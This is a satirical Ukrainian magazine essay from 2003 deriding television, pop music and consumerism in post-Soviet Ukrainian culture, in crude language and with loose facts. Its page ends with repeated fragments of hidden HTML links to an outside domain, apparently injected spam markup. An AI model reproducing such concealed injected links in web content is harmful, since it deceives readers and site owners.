Сім-сім, бім-бім
(Культура сучасної України)

Євген Ігорович

Музика? Ха! Найкраща українська група - "Океан Ельзи" - виконавці гірші за більшість тих, хто грає в переході під майданом. Кіно? Ха! Двічі: ха-ха.

Кого цікавить культура в Україні? Тих, у кого стипендія 42 гривні та зарплати, за які комп'ютер можна купити лише всім під'їздом (брудним і без гарячої води півроку)?.. Отже: яку культуру може продукувати нещасний електорат, котрому не вистачає грошей? Лише повязану з грошима. А гроші - це настільки брудна та примітивна річ порівняно, наприклад, з війною (антивоєнна культура гіпі) чи з музикою (свінг-Англія: J. Hendrix, "The Beatles" та "Led Zeppelin"), що ми можемо мати лише Сім-Сіми з Кока-Колою.

Взагалі-то цікава ситуація вимальовується; я робив опитування серед своїх знайомих і от скажу, що більшість дуже негативно ставиться до телебачення і всього, що з нього продукується. Тобто ми хочемо року - слухаємо попсу. Мріємо про "Плейбой" - отримуємо тьотю Асю. Мастурбуємо на революцію, але вже змирились із перспективами ринкової демократії отримувати через 10 років на 10 відсотків зарплати більше. Дивимось про їхні золоті пляжі Флориди, а маємо брудний Крим за 900 кілометрів від Чорнобиля.

А хто ж формує цю всю культуру? Дуже велику частину культури новин формує міліція, СБУ та інші подібні контори. Культура телебачення - це діло рук нових українців, більшість з яких не чули ані про "Лед Зеппелін" та Елвіса Преслі, ані про Далі та Булгакова. Отже, ми маємо повальне екстазування від емблеми Кока-Коли (я сам просто дивуюсь простоті та вишуканості вищезгаданої), та "торчаніє" від Вєрки Сердючки (її віршово-музичний шедевр про пиріжок, мабуть, через 50 буде всіх культурологів вводити в екстаз).

Підсумовую. Якось був на виставці супермодного українського фотографа - абстракціоніста. Його репертуар - чоловічі статеві органи та лайно. Цей хлопець збирає там увесь український бомонд, у тому числі і тих, для кого головне, аби в їхніх магазинах продавалися тампони "Тампакс", а по головному музичному каналі крутили їхніх 20 найулюбленіших пісень. І ми насправді споживаємо те, що хочуть споживати сильні країни нашої. Але сильні вони не лише грошима, а й товшиною власного лоба.

Коротше, щоб з'явився Моцарт, суспільство має його потребувати. Молитись потрібно тільки перед іконою роботи найкращих майстрів рівня Рубльова. Харчуватись найякіснішими харчами. Стріляти - з найліпшої зброї. Тому що "Человек - звучит гордо!".

("Політика і культура", 2003, №8, с. 23).

назад


goutsoullac@rambler.ru

p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none"> p://jL.chura.pl/rc/" style="display:none">